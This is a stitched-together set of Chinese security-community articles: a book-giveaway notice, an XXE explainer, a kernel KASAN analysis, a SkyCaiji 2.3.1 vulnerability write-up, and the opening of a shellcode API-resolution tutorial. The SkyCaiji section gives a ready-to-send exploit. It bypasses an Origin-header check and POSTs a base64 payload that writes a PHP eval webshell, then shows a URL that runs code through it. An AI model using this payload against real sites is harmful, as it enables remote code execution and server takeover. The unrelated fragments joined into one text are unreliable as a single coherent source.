关于Python的书虽然已有不少，但从安全从业者角度全方位剖析Python的书籍几乎没有，本书填补了这个的空白：包含了渗透测试、Web分析、网络分析、取证分析以及利用无线设备等方面的Python攻防方法。无论你是从事安全研究的哪个方向，书中的大量深入浅出的案例分析均可以让你掌握有用的技能，快速上手编写代码，在工作中事半功倍，拓展视野、培养和锻炼自己的黑客思维。
## 圣诞送书活动
**在圣诞节到来之际，我们为各位安全客带来了圣诞礼物，** **Merry Christmas！**
**活动规则： 在文章下参与评论留言，写出你读过的安全圈好书并附上推荐理由，参与抽奖。**如果获奖 **，** 我们会在评论区与您取得联系
**（记得先登录再评论哦~）**
**中奖名单公布时间：** 12.27
**新年礼品：** **从12本书籍中任选一本+一箱赣南脐橙（价值88元）溜了~溜了~，去写评论了**
赣南脐橙
PS：有不少同学反馈橙子很好吃，附上购买链接 **[10斤装
69.9元](https://open.weixin.qq.com/connect/oauth2/authorize?appid=wx21eff8ea157e21dd&redirect_uri=http%3A%2F%2Ffx.ruchengguoye.com%2Fapp%2Findex.php%3Fi%3D5%26c%3Dauth%26a%3Doauth%26scope%3Duserinfo&response_type=code&scope=snsapi_userinfo&state=we7sid-6dfe8c601923b207cff34dbe7e28bab7#wechat_redirect)** | 社区文章 |
# 【缺陷周话】第4期：XML 外部实体注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。XML 外部实体注入漏洞也就是我们常说的 XXE 漏洞。XML
作为一种使用较为广泛的数据传输格式，很多应用程序都包含有处理 xml 数据的代码，默认情况下，许多过时的或配置不当的 XML
处理器都会对外部实体进行引用。如果攻击者可以上传 XML 文档或者在 XML
文档中添加恶意内容，通过易受攻击的代码、依赖项或集成，就能够攻击包含缺陷的XML处理器。XXE 漏洞的出现和开发语言无关，只要是应用程序中对 xml
数据做了解析，而这些数据又受用户控制，那么应用程序都可能受到 XXE 攻击。本篇文章以 java 程序为例给大家介绍 XXE 漏洞的成因及修复。XXE
漏洞详细请见 CWE-611: Improper Restriction of XML External Entity Reference
(‘XXE’)(<http://cwe.mitre.org/data/definitions/611.html)>。
## 2、XML外部实体注入
XXE 漏洞可能会用于提取数据、执行远程服务器请求、扫描内部系统、执行拒绝服务攻击和其他攻击。业务影响主要取决于受影响的引用程序和数据保护需求。
2018年至今，CVE 中共有发布了 92 条漏洞信息与其相关。部分CVE如下：
CVE-2018-8027 | Apache Camel 2.20.0 到 2.20.3 和2.21.0 Core 在 XSD 验证处理器中存在 XXE
漏洞。
---|---
CVE-2018-13439 | 微信支付 Java SDK 中的 WXPayUtil 类中存在XXE漏洞。
CVE-2018-1000548 | 在版本号小于 14.3 的 Umlet
中，在文件解析中存在XML外部实体注入漏洞，可能导致机密数据泄露、拒绝服务、服务器端请求伪造。此攻击可以通过特制的 UXF 文件进行攻击。
CVE-2018-1364
| IBM Content Bavigator 2.0 和 3.0
版本中在处理XML数据时，易受XML外部实体（XXE）攻击。远程攻击者可以利用此漏洞暴露敏感信息或占用内存资源。
## 3、示例代码
### 3.1 缺陷代码
本节使用示例代码来源为某开源支付 Java SDK
(<https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=11_1)>，源文件名：WXPayUtil.java，文件路径为：java-sdk-v3\src\main\java\com\github\wxpay\sdk。
在上述代码可以看到在25行处数据通过 xmlToMap 形参传入，数据未做任何过滤，且 XML
处理器也未做安全设置就在32行处对数据做了解析，而实际场景中，参数 strXML 也是受攻击者控制的，这样攻击者可能通过构造恶意的 strXML 来进行
XXE 攻击。
使用360代码卫士对上述示例代码进行检测，可以在文件第32行检出“有风险的XML外部实体注入”缺陷。如图1所示：
图1 检测出有风险的XML外部实体注入
### 3.2 修复代码
在上述修复代码中的第28行使用的是一个 xml 工具类 WXPayXmlUtil，用于生成一个安全的xml处理器。而 WXPayXmlUtil
类中最为关键的是第16行，通过 setFeature 让生成的 xml 处理器完全禁用
DTDS。通过图2可以看出，360代码卫士对修复后的代码并未检出缺陷。
图2 XXE漏洞修复示例
## 4、如何避免 XXE 漏洞
常见的避免方法：
1、尽可能使用简单的数据格式（如：JSON），避免对敏感数据进行序列化。
2、及时修复或更新应用程序或底层操作系统使用的所有XML处理器和库。同时，通过依赖项检测，将 SOAP 更新到 1.2 版本或更高版本。
3、在应用程序的所有 XML 解析器中禁用XML外部实体和DTD进程，具体实现可以参考《OWASP Cheat Sheet ‘XXE
Prevention’》(<https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet)>，如下代码是
java 应用程序中使用DocumentBuilderFactory 解析 xml 时防范 XXE 漏洞的示例：
4、输入校验：在服务器端使用白名单进行输入验证和过滤，以防在 XML 文档、标题或节点中出现恶意数据。
5、验证 XML 和 XSL 文件上传功能是否使用 XSD 验证或其他类似验证的方法来验证上传的 XML 文件。
6、DAST 工具需要额外的手动步骤来检查和利用 XXE 漏洞，而使用 ASAT 工具可以通过检测依赖项和安全配置来发现 XXE 漏洞。 | 社区文章 |
# linux内核（5.4.81）——KASAN
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## KASAN 简述
* KASAN是内核用于动态检测内存错误的工具, 简单来说, 数据区域可分为两种:可访问区域，不可访问区域(red_zone).KASAN存在影子内存(shadow memory), 他和正常内存的比例是1:8, 即1byte shadow memory可以代表8bytes 正常内存的可访问性.
* 128TB(内核正常内存) : 16TB(影子内存) —- Documentation/x86/x86_64/mm.rst x86-64 内存布局显示如下:
ffffec0000000000 | -20 TB | fffffbffffffffff | 16 TB | KASAN shadow memory
* 具体规则(+: byte可访问, -: byte不可访问)
* 如果1byte shadow memory对应的8bytes 内存都可访问, 则*(shadow memory) == 0
[0] -> [+, +, +, +, +, +, +, +]
* 如果1byte shadow memory对应的8bytes 内存都不可访问, 则*(shadow memory)为负数
[-1] -> [-, -, -, -, -, -, -, -]
* 如果1byte shadow memory对应的8bytes 内存中有N bytes可访问, 则*(shadow memory) == N
if N = 3
[3] -> [+, +, +, -, -, -, -, -]
* 实现原理
* 代码插桩: 利用编译器特性进行代码插桩, 当程序对内存进行读取或写入(load/store)时插入kasan检测代码
* kasan检测代码: **asan_loadN(addr)/** asan_storeN(addr) (后面会对源码做详细分析), 主要功能是检测addr所在位置的N bytes内存是否可用.
## 源码分析
### kasan检测入口
* 使用宏定义实现 **asan_load/** asan_store, 关键函数为check_memory_region_inline
#define DEFINE_ASAN_LOAD_STORE(size) \
void __asan_load##size(unsigned long addr) \
{ \
check_memory_region_inline(addr, size, false, _RET_IP_);\
} \
EXPORT_SYMBOL(__asan_load##size); \
__alias(__asan_load##size) \
void __asan_load##size##_noabort(unsigned long); \
EXPORT_SYMBOL(__asan_load##size##_noabort); \
void __asan_store##size(unsigned long addr) \
{ \
check_memory_region_inline(addr, size, true, _RET_IP_); \
} \
EXPORT_SYMBOL(__asan_store##size); \
__alias(__asan_store##size) \
void __asan_store##size##_noabort(unsigned long); \
EXPORT_SYMBOL(__asan_store##size##_noabort)
### check_memory_region_inline
* 当size==0时, 对内存不做读写操作, 正常返回
* addr必须大于KASAN_SHADOW_START对应的正常地址, 即addr必须在shadow映射的界限内
* memory_is_poisoned作为核心函数判断内存是否可用
static __always_inline bool check_memory_region_inline(unsigned long addr,
size_t size, bool write,
unsigned long ret_ip)
{
if (unlikely(size == 0))
return true;
if (unlikely((void *)addr <
kasan_shadow_to_mem((void *)KASAN_SHADOW_START))) {
kasan_report(addr, size, write, ret_ip);
return false;
}
if (likely(!memory_is_poisoned(addr, size)))
return true;
kasan_report(addr, size, write, ret_ip);
return false;
}
### memory_is_poisoned
* size 如果为常量, 则对1, 2-4-8, 16这三种情况分开讨论
* size 不为常量进入memory_is_poisoned_n
static __always_inline bool memory_is_poisoned(unsigned long addr, size_t size)
{
// 判断size是否为常量
if (__builtin_constant_p(size)) {
switch (size) {
case 1:
return memory_is_poisoned_1(addr);
case 2:
case 4:
case 8:
return memory_is_poisoned_2_4_8(addr, size);
case 16:
return memory_is_poisoned_16(addr);
default:
BUILD_BUG();
}
}
return memory_is_poisoned_n(addr, size);
}
#### memory_is_poisoned_1
* 通过kasan_mem_to_shadow获得addr对应的shadow_addr, _((s8_ )shadow_addr)获得shadow_addr所对应的8bits内存值shadow_value
* 因为1byte shadow对应8bytes, 所以可以将 8bytes对齐的addr -> 8bytes对齐的addr+8 设为一个内存组, 对应1byte shadow, 此处addr&7获得addr在该组中的偏移量last_accessible_byte
* 比较偏移量与shadow_value(该组内可访问内存的byte 数), 如果last_accessible_byte <= shadow_value 显然addr可访问(当shadow_value==0时, 表示8bytes皆可访问)
static __always_inline bool memory_is_poisoned_1(unsigned long addr)
{
s8 shadow_value = *(s8 *)kasan_mem_to_shadow((void *)addr);
if (unlikely(shadow_value)) {
s8 last_accessible_byte = addr & KASAN_SHADOW_MASK;
return unlikely(last_accessible_byte >= shadow_value);
}
return false;
}
#### memory_is_poisoned_2_4_8
* 与memory_is_poisoned_1的区别在于此处多考虑了一种情况(待store/read内存跨越两个内存组)
* 对于跨越内存组的情况, 需要满足第一个内存组8bytes皆可访问(0), 第二个内存组shadow_value >= 组内偏移
* 如果不跨越内存, 只判断末尾地址是否可store/load 1byte 内存
static __always_inline bool memory_is_poisoned_2_4_8(unsigned long addr,
unsigned long size)
{
u8 *shadow_addr = (u8 *)kasan_mem_to_shadow((void *)addr);
/*
* Access crosses 8(shadow size)-byte boundary. Such access maps
* into 2 shadow bytes, so we need to check them both.
*/
if (unlikely(((addr + size - 1) & KASAN_SHADOW_MASK) < size - 1))
return *shadow_addr || memory_is_poisoned_1(addr + size - 1);
return memory_is_poisoned_1(addr + size - 1);
}
#### memory_is_poisoned_16
* 只有addr本身为8bytes 对齐时才会只跨越两个内存组, 否则跨越三个内存组
* 对于跨越三个内存组的情况, 需要满足前两个内存组内存皆可访问(16bit shadow_value == 0), 同时第三个内存组shadow_value >= 组内偏移
* 如果只跨越两个内存组, 只需要16bit shadow_value == 0即可
static __always_inline bool memory_is_poisoned_16(unsigned long addr)
{
u16 *shadow_addr = (u16 *)kasan_mem_to_shadow((void *)addr);
/* Unaligned 16-bytes access maps into 3 shadow bytes. */
if (unlikely(!IS_ALIGNED(addr, KASAN_SHADOW_SCALE_SIZE)))
return *shadow_addr || memory_is_poisoned_1(addr + 15);
return *shadow_addr;
}
#### memory_is_poisoned_n
* memory_is_nonzero:
* 首先定位与待访问内存块对应的shadow_mem_block, 检测shadow_mem_block中的shadow_value是否全为0, 如果全为0, 则内存块可访问, 从memory_is_poisoned_n返回
* 如果shadow_value不全为0, 则找到第一个不为0的shadow_value对应的shadow_addr, return shadow_addr
* 得到memory_is_nonzero中返回的shadow_addr, 如果shadow_addr == last_shadow(末尾地址对应的shadow_addr) 则内存块可访问, 从memory_is_poisoned_n返回
* 否则判断末尾地址是否可store/load 1byte(比较末尾地址偏移与last_shadow的大小)
static __always_inline bool memory_is_poisoned_n(unsigned long addr,
size_t size)
{
unsigned long ret;
ret = memory_is_nonzero(kasan_mem_to_shadow((void *)addr),
kasan_mem_to_shadow((void *)addr + size - 1) + 1);
if (unlikely(ret)) {
unsigned long last_byte = addr + size - 1;
s8 *last_shadow = (s8 *)kasan_mem_to_shadow((void *)last_byte);
if (unlikely(ret != (unsigned long)last_shadow ||
((long)(last_byte & KASAN_SHADOW_MASK) >= *last_shadow)))
return true;
}
return false;
}
## 实例分析
### buddy_kasan
> kasan_alloc_pages: 标记shadow_mem为0, kasan_free_pages: 标记shadow_mem为不可访问
#### 验证代码
* 编写kasan驱动, 使用alloc_pages调用buddy分配内存, 查看分配后以及释放后的shadow_mem内存(local_addr[0] = ‘\x10’; 对buddy分配的内存块做store操作, 会触发__asan_store1代码插桩)
long kasan_ioctl(struct file* filp, unsigned int cmd, unsigned long arg)
{
char *local_addr = NULL;
struct page *local_pg = alloc_pages(GFP_KERNEL, 2);
local_addr = page_address(local_pg);
local_addr[0] = '\x10';
__free_pages(local_pg, 2);
printk(KERN_DEBUG "[+] modules kasan debug\n");
return 0;
}
* ida反汇编代码(存在_asan_store1_noabort(v5), 猜测成立)
__int64 __fastcall kasan_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // r13
__int64 v4; // r12
_BYTE *v5; // r12
_fentry__(filp, cmd, arg);
v3 = alloc_pages_current(3264LL, 2LL);
_asan_load8_noabort(&vmemmap_base);
v4 = v3 - vmemmap_base;
_asan_load8_noabort(&page_offset_base);
v5 = (_BYTE *)(page_offset_base + (v4 >> 6 << 12));
_asan_store1_noabort(v5);
*v5 = 0x10;
printk(&unk_1C0, v5);
_free_pages(v3, 2LL);
printk(&unk_200, 2LL);
return 0LL;
}
#### buddy_kasan 动态调试
* 在call __asan_store1处下断点, 查看rdi内容
gef➤ p $rdi
$1 = 0xffff88805b034000
* 计算shadow_mem = addr >> 3 + 0xdffffc0000000000, 所以0xffff88805b034000对应的shadow_mem: 0xffffed100b606800
static inline void *kasan_mem_to_shadow(const void *addr)
{
return (void *)((unsigned long)addr >> KASAN_SHADOW_SCALE_SHIFT)
+ KASAN_SHADOW_OFFSET;
}
* 查看shadow_mem内容(shadow_value=0x0, 表示内存块可访问)
gef➤ x/16xg 0xffffed100b606800
0xffffed100b606800: 0x0000000000000000 0x0000000000000000
0xffffed100b606810: 0x0000000000000000 0x0000000000000000
0xffffed100b606820: 0x0000000000000000 0x0000000000000000
0xffffed100b606830: 0x0000000000000000 0x0000000000000000
0xffffed100b606840: 0x0000000000000000 0x0000000000000000
0xffffed100b606850: 0x0000000000000000 0x0000000000000000
0xffffed100b606860: 0x0000000000000000 0x0000000000000000
0xffffed100b606870: 0x0000000000000000 0x0000000000000000
* 程序执行__free_pages, 释放buddy内存块, 再次查看shadow_mem(0xff=-1, 内存块不可访问)
gef➤ x/16xg 0xffffed100b606800
0xffffed100b606800: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606810: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606820: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606830: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606840: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606850: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606860: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b606870: 0xffffffffffffffff 0xffffffffffffffff
* 计算shadow_mem边界(mem:shadow_mem=8:1), alloc_pages申请4页(0x1000 _4)对应shadow_mem(0x1000_ 4/8=0x800), 发现0xff与0xfc的分界, 猜测成立
gef➤ x/16xg 0xffffed100b606800+0x800-0x10
0xffffed100b606ff0: 0xffffffffffffffff 0xffffffffffffffff
0xffffed100b607000: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
0xffffed100b607010: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
0xffffed100b607020: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
0xffffed100b607030: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
0xffffed100b607040: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
0xffffed100b607050: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
0xffffed100b607060: 0xfcfcfcfcfcfcfcfc 0xfcfcfcfcfcfcfcfc
* 由上述调试结果可知, buddy_kasan可有效的检测内存越界以及uaf
### slub_kasan
> 提到slub_kasan不得不提及slub_debug, slub_debug是slub早期的内存检测机制, 想详细的了解可以看一下这篇文章
> [slub_debug原理](http://www.wowotech.net/memory_management/427.html),
> 或者我之前写的一篇文章[点击此处](https://www.povcfe.site/posts/kernel_mm/)
在这里我简单的描述一下slub_debug的原理:
* 首先slub算法将page切割成一个一个的slub_obj, obj的布局大概是当obj空闲时, 复用头部空间用于存储free_list(指向下一个空闲obj)
* 当slub_debug开启后, slub_obj的布局将发生非常大的改变如下, 第一行为初始布局, 第二行为开启slub_debug后的布局
* * 图中red_zone为右边界越界检测, red_left_pad为左边界越界检测, 这里对于red_left_pad着重说一下, 如果从第二幅图来看, 怎么也看不出左边界越界检测原理, 但是如果布局是第三幅图的话, 就非常明了了. 所以重点在于第二幅布局如何变成第三幅布局, slub的实现是, 每个obj在设计时仍然采用第二副布局, 但却在page开头开辟了一个red_left_pad, 这样就巧妙的完成了转换(至于为什么要经过这么一番转换, 只能说是历史遗留问题, 设计右边界越界检测时并没有考虑左边界越界)
* 然后再说一下slub_debug的局限性, slub_debug虽然和kasan一样设计了red_zone但是, slub_debug的安全检测只在alloc/free时启动, 即如果一个越界内存块永远不被释放, 则安全漏洞很难被发现(为了解决这个问题, slub设计了slub_info可以主动的去触发安全检测, 但是和kasan相比, 在检测范围上仍然很局限 —- 只能检测slub内存问题, 同时还有一个非常重要的问题, slub_debug的red_zone是和填充数据位于同一内存块, 是可以被修改的, 有被劫持的风险)
* 关于slub_debug就说这么多, 继续研究slub_kasan(slub_kasan的布局在slub_debug上面再加一个)
### slub_debug
* kasan_poison_slab: 当创建kmem_cache时将page对应的shadow_mem标记为KASAN_KMALLOC_REDZONE, 表示内存不可访问
void kasan_poison_slab(struct page *page)
{
unsigned long i;
for (i = 0; i < compound_nr(page); i++)
page_kasan_tag_reset(page + i);
kasan_poison_shadow(page_address(page), page_size(page),
KASAN_KMALLOC_REDZONE);
}
* **kasan_kmalloc: 当使用kmalloc(x) 申请内存后, 有一部分内存可用, 填充red_zone, 修改shadow_mem(** kasan_kmalloc和下面全局变量修改shadow_mem的原理类似, 可以滑到下面看看全局变量_kasan, 大致思路就是填充从obj_start+size到obj末尾内存为red_zone)
### 全局变量_kasan
> **asan_register_globals: 根据 struct kasan_global为全局变量填充shadow_mem,**
> asan_unregister_globals实现为空
#### 验证代码
* 目标全局变量为global_var
char global_var[34] = {'a', 'b', 'c', 'd'};
long kasan_ioctl(struct file* filp, unsigned int cmd, unsigned long arg)
{
global_var[0] = 'x';
global_var[34] = '*';
return 0;
}
* ida反汇编代码
__int64 __fastcall kasan_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
_fentry__(filp, cmd, arg);
global_var[0] = 120;
_asan_store1_noabort(&global_var[34]);
result = 0LL;
global_var[34] = 42;
return result;
}
#### 全局变量 动态调试
* 查看global_var内存(0xffffffffc000a000)与其对应的shadow_mem(0xfffffbfff8001400)发现, global_var存在34 bytes有效内存, 62 bytes为无效内存(red_zone)
gef➤ disassemble
Dump of assembler code for function kasan_ioctl:
=> 0xffffffffc0008000 <+0>: data16 data16 data16 xchg ax,ax
0xffffffffc0008005 <+5>: push rbp
0xffffffffc0008006 <+6>: mov rdi,0xffffffffc000a022
0xffffffffc000800d <+13>: mov BYTE PTR [rip+0x1fec],0x78 # 0xffffffffc000a000
0xffffffffc0008014 <+20>: mov rbp,rsp
0xffffffffc0008017 <+23>: call 0xffffffff8145d790 <__asan_store1>
0xffffffffc000801c <+28>: xor eax,eax
0xffffffffc000801e <+30>: mov BYTE PTR [rip+0x1ffd],0x2a # 0xffffffffc000a022
0xffffffffc0008025 <+37>: pop rbp
0xffffffffc0008026 <+38>: ret
End of assembler dump.
gef➤ x/2xg 0xffffffffc000a000
0xffffffffc000a000: 0x0000000064636261 0x0000000000000000
gef➤ x/2xg 0xfffffbfff8001400
0xfffffbfff8001400: 0xfafafa0200000000 0x00000000fafafafa
gef➤
* 进一步验证red_zone原理(ida显示驱动init_array段中存在指向__asan_register_globals的函数指针, 显然在驱动初始化阶段会调用该函数)
* 分析__asan_register_globals源码发现一个用来修饰全局变量的结构体(存放于.data段), 结合ida反汇编结果后填充结构体如下:
struct kasan_global {
const void *beg=0xffffffffc000a000; /* Address of the beginning of the global variable. */
size_t size=0x22; /* Size of the global variable. */
size_t size_with_redzone=0x60; /* Size of the variable + size of the red zone. 32 bytes aligned */
const void *name="global_var";
const void *module_name="/home/povcfe/code/modules/kasan/kasan.c"; /* Name of the module where the global variable is declared. */
unsigned long has_dynamic_init=0; /* This needed for C++ */
#if KASAN_ABI_VERSION >= 4
struct kasan_source_location *location;
#endif
#if KASAN_ABI_VERSION >= 5
char *odr_indicator="/home/povcfe/code/modules/kasan/kasan.c";
#endif
};
* size_with_redzone=0x60, 动调时发现redzone为62(0x3e) bytes, 显然此处size_with_redzone不可能被直接使用, 继续分析源码
* __asan_register_globals->register_global(特别关注aligned_size, 这里会解决上诉问题)
static void register_global(struct kasan_global *global)
{
size_t aligned_size = round_up(global->size, KASAN_SHADOW_SCALE_SIZE);
// 设置有效内存对应的shadow_mem, 特别注意内存组内有效N byte不足8 bytes时, 需要设置shadow_value=N
kasan_unpoison_shadow(global->beg, global->size);
// 填充8 bytes对齐的redzone对应的shadow_mem为KASAN_GLOBAL_REDZONE
kasan_poison_shadow(global->beg + aligned_size,
global->size_with_redzone - aligned_size,
KASAN_GLOBAL_REDZONE);
}
* 分析aligned_size原理(算数太差, 直接用c实现了一下, aligned_size=0x28)
#define __round_mask(x, y) ((__typeof__(x))((y)-1))
#define round_up(x, y) ((((x)-1) | __round_mask(x, y))+1)
#include <stdio.h>
size_t __round_mask(size_t x, size_t y)
{
return ((__typeof__(x))((y)-1));
}
size_t round_up(size_t x, size_t y)
{
return ((((x)-1) | __round_mask(x, y))+1);
}
int main()
{
size_t res = round_up(0x22, 7);
printf("0x%lx", res);
}
* 故 global->size_with_redzone(0x60) = 0x28(0x22(size) + 0x6(red_zone)) + 0x38(red_zone), 即有效内存空间0x22 bytes, red_zone(0x6 + 0x38) bytes
### 栈变量_kasan
> __kasan_unpoison_stack: 设置栈内有效内存shadow_mem
#### 验证代码
* 目标栈变量 stack_var
long kasan_ioctl(struct file* filp, unsigned int cmd, unsigned long arg)
{
char stack_var[0x4] = {'a', 'b', 'c', 'd'};
stack_var[0x0] = 'x';
printk(KERN_DEBUG "[+] %s\n", stack_var);
return 0;
}
* ida反汇编代码(注意到0xF1(KASAN_STACK_LEFT), 0xF3(KASAN_STACK_RIGHT)字段, 猜测stack_kasan的shadow_mem填充代码是直接通过编译器插入源代码中的)
__int64 __fastcall kasan_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg)
{
_DWORD *v3; // rbx
_QWORD v5[4]; // [rsp-70h] [rbp-70h] BYREF
int v6; // [rsp-50h] [rbp-50h] BYREF
unsigned __int64 v7; // [rsp-18h] [rbp-18h]
_fentry__(filp, cmd, arg);
v3 = (_DWORD *)(((unsigned __int64)v5 >> 3) - 0x2000040000000000LL);
v5[0] = 1102416563LL;
v5[1] = "1 32 4 12 stack_var:15";
v5[2] = kasan_ioctl;
*v3 = 0xF1F1F1F1;
v3[1] = 0xF3F3F304;
v7 = __readgsqword(0x28u);
v6 = 0x64636278;
printk(&unk_220, &v6);
*(_QWORD *)v3 = 0LL;
return 0LL;
}
#### 栈变量 动态调试
* 根据ida反汇编代码猜测栈变量存在左右边界(red_zone)且关于32 bytes对齐
* stack_var(0xffff88805b02fcf0)与其shadow_mem(0xffffed100b605f9e)内容如下, 可知栈变量有效内存为4 bytes, red_zone_size: (8 _3 + 8 – 4) + 8_ 3 = 52(左边界red_zone为32bytes, 右边界red_zone+size关于32 bytes对齐, 总red_zone大小与全局变量相同)
gef➤ x/8xg 0xffff88805b02fcf0-0x20
0xffff88805b02fcd0: 0x0000000041b58ab3 0xffffffffc000903c
0xffff88805b02fce0: 0xffffffffc00080e1 0xffff88805e404500
0xffff88805b02fcf0: 0xffff888064636261 0x0000000200000101
0xffff88805b02fd00: 0x000000000000004c 0x0000000000000000
gef➤ x/4xg 0xffffed100b605f9e-0x10
0xffffed100b605f8e: 0x0000000000000000 0xf1f1f1f100000000
0xffffed100b605f9e: 0x00000000f3f3f304 0x0000000000000000
gef➤
* 待函数返回(栈变量销毁时), 会将shadow_mem置0(见ida伪代码)
*(_QWORD *)v3 = 0LL;
* 在kasan源码中没有找到填充red_zone的代码, 且栈变量左边界red_zone对应的内存处存放了栈变量信息, 函数信息. 所以猜测栈变量填充red_zone是在编译阶段实现的, 且左边界填充内容为用于描述栈的结构体 | 社区文章 |
# 下载2.3.1版本
<https://github.com/zorlan/skycaiji>
# 漏洞复现
文中sky231.com为本地设置域名
漏洞点位于后台安装插件功能处，首先登陆后台
1.访问
http://xxxx.com/index.php?s=/Admin/Store/installPlugin
2.添加http头Origin:
http://www.skycaiji.com
3.post输入
plugin=eyJhcHAiOiJBYUFhQWEiLCJuYW1lIjoidGVzdDEiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QyIiwiY29kZSI6IlBEOXdhSEFLTHlvS2JtRnRaWE53WVdObElIQnNkV2RwYmx4eVpXeGxZWE5sWEdOdGN6c0tDbU5zWVhOeklFRmhRV0ZCWVhzS0NYQjFZbXhwWXlBa2NtVnNaV0Z6WlRzS2ZTb3ZDa0JsZG1Gc0tDUmZSMFZVVzJGZEtUc0tQejQ9In0=
如图
接着会在\plugin\release\cms\下生成AaAaAa.php的一句话后门，如图
然后在后台点击发布插件选项卡，接着点击开发按钮，如图
这时会引用我们带有一句话木马的文件，在url上添加a参数即可执行任意php代码，进而getshell，以执行phpinfo为例，访问
http://sky231.com/index.php?s=/admin/Develop/releaseCms&app=AaAaAa&a=phpinfo();
如图
# 代码审计
漏洞出发点位于/SkycaijiApp/admin/controller/Store.php文件中的installPluginAction函数，如图
首先代码会执行$this->_checkOrigin();函数，我们跟进一下
该函数是用来判断请求的来源是否在白名单中，注意到这里获取请求来源使用了$_SERVER['HTTP_ORIGIN']
这里我们只要在请求时加上一个Origin请求头，并将其值改为白名单中的值就可以了，我们看一下白名单的值
回到
installPluginAction函数，接下来函数将传入的plugin参数先进行base64解密在进行json解码，接着调用_installPlugin函数，跟进该函数，如图
这里函数先进行了一系列数据判空操作，接着下来如果满足$plugin['type']=='release'这个条件将会调用addCms函数，我们继续跟进addCms函数，函数位于文件/SkycaijiApp/admin/model/ReleaseApp.php
中，如图
首先函数会判断$cms['app']是否为空，这里无需理会，在利用时只要构造一下就好，接着代码做了三个正则校验，第一个正则来判断$cms['app']是否符合其命名规范，我们可以使其值为AaAaAa来绕过校验，第二个正则用来判断函数传入的$code是否存在命名空间，这里我们可以参考一下位于/plugin/release/cms/BaseCms.php文件中的写法，如图
接着是第三个正则，该处是为了判断类名是否存在，要注意的是类名需要与我们设置的$cms['app']一样，这里我们可以这么写
class AaAaAa{
过了三个正则后我们会来到write_dir_file函数，跟进一下该函数，如图
该函数用来写文件，那么到目前为止我们就可以在网站中写入一个php文件，但是该文件要存在规定好的命名空间和类，为了写入我们可以利用的一句话，我们可以利用注释符将命名空间和类注视掉，如图
接下来就可以构造符合条件得exp了
首先将代码base64编码，然后依据上述分析代码中的条件构造符合的json格式的字符串
{"app":"AaAaAa","name":"test1","type":"release","module":"test2","code":"PD9waHAKLyoKbmFtZXNwYWNlIHBsdWdpblxyZWxlYXNlXGNtczsKCmNsYXNzIEFhQWFBYXsKCXB1YmxpYyAkcmVsZWFzZTsKfSovCkBldmFsKCRfR0VUW2FdKTsKPz4="}
接着把改串json字符串base64编码一下就可以post过去进行利用了。 | 社区文章 |
# 【技术分享】shellcode编程：在内存中解析API地址
|
##### 译文声明
本文是翻译文章，文章来源：modexp.wordpress.com
原文地址：<https://modexp.wordpress.com/2017/01/15/shellcode-resolving-api-addresses/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 前言**
针对Windows的所有的与位置无关代码（PIC）的核心功能的基础就是实时解析API函数的地址。它是一个非常重要的任务。在这里我介绍两种流行的方法，使用导入地址表（IAT）和导出地址表（EAT）是目前为止最稳定的方法。
自从2007年Windows Vista发布以来，地址空间布局随机化（ASLR）在可执行文件和动态链接库中启用，这些开启ASLR的库用来缓解漏洞利用。
但是在ASLR出现之前，20年前的病毒开发者同样遇到一个相似的问题，kernel32.dll基址的无意的“随机化”。
第一个Windows
95的病毒叫做[Bizatch](http://virus.wikidot.com/bizatch)，由Quantum/VLAD在一个Windows
95的beta版本上编写。
Mr. Sandman, Jacky Qwerty 和
GriYo讨论过kernel32的问题、[Win32下面PE感染](http://vxheaven.org/29a/29a-2/29a-2.3_1)的GetModuleHandle解决方案，和当时不清楚的进程环境块（PEB）在后来由Ratter在[“在NT下从PEB获取重要数据”](http://vxheaven.org/29a/29a-6/29a-6.224)中讨论。
Jacky
Qwerty公布了一种[类GetProcAddress](http://vxheaven.org/29a/29a-2/29a-2.3_5)的功能，成为病毒中解析API的标准方法。
在这之后，作者开始通过CRC32的校验和来解析API，可以隐藏代码中的API字符串，同时减少空间。
在1999年LethalMind展示了一种他自己的校验和[解析API地址](https://vxheaven.org/29a/29a-4/29a-4.227)的方法。在2002年[LSD组织](http://lsd-pl.net/)提出了在Win32汇编（shellcode）中获取API的算法，之后被很多Win32 shellcode效仿。
上述是关于API获取的方案的一个简短的历史。到了今天，在漏洞利用时已经出现了很多高级技术，但是他们和保护机制强相关，在这不做讨论。
下面展示的左右结构能在微软SDK中WinNT.h头文件中找到。
你还能在[pecoff.docx](http://wordpress.redirectingat.com/?id=725X1342&site=modexp.wordpress.com&xs=1&isjs=1&url=https%3A%2F%2Fwww.microsoft.com%2Fen-us%2Fdownload%2Fdetails.aspx%3Fid%3D19509&xguid=cb98a2b4a36da2c7175731d5e7783944&xuuid=a18e8de5088faafbb29427360d580a7b&xsessid=9)中找到PE/PE+文件格式的详细描述。
**0x01 Image DOS Header**
在每个PE文件开始都能找到一个MS-DOS可执行文件或者一个“存根”（即MZ）使得可验证为有效的MS-DOS可执行文件。
